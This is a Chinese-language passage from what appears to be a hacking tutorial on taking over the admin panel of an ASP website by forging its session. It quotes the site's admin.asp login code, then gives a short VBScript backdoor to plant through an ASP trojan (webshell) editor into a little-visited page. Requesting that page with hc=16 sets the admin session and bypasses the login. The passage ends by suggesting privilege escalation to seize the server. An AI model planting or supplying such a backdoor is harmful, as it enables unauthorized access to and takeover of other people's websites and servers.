接着,麻烦的事出现了,后台登陆并不是以cookies来实现的,而是以session实现的 ,所以我们同样来欺骗session;
首先简单说一下一般asp系统的身份验证原理。 一般来说,后台管理员在登录页面输入账号密码后,程序会拿着他提交的用户名密码去数据库的管理员表里面找,如果有这个人的账号密码就认为你是管理员,然后给你一个表示你身份的session值。或者程序先把你的用户名密码提取出来,然后到数据库的管理员表里面取出管理员的账号密码来和你提交的相比较,如果相等,就跟上面一样给你个表示你身份的sesion值。然后你进入任何一个管理页面它都要首先验证你的session值,如果是管理员就让你通过,不是的话就引导你回到登录页面。
找到manage/admin.asp,发现验证内容为:
[url=javascript:][color=#949494]Copy code[/color][/url]
...
else
rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR")
rs("LastLoginTime")=now()
rs("LoginTimes")=rs("LoginTimes")+1
rs.update
session.Timeout=SessionTimeout
session("AdminName")=rs("username")
rs.close
set rs=nothing
call CloseConn()
Response.Redirect "Admin_Index.asp" 很容易就知道如果没有获得验证就会出现两个session值:
[url=javascript:][color=#949494]Copy code[/color][/url]
session.Timeout=SessionTimeout
session("AdminName")=rs("username") 试想如果我们以adminName的信息登陆就就ok了..接着用ASP木马编辑器来添加代码如下:
[url=javascript:][color=#949494]Copy code[/color][/url]
dim id
id=trim(request("hc"))
if id="16" then
session("AdminName")="admin"
end if 分析上段代码,有个不定值--admin,可以根据实际情况来设置,不一定是admin;可以在一些不常去的页面来登陆,如:FriendSite.asp?hc=16返回时页面没有出现异样,这就行了,然后再次登陆manage/admin.asp,你会发现,你已经进入后台了。然后可以提权得弄服务器了。
(责任编辑:adminadmin2008)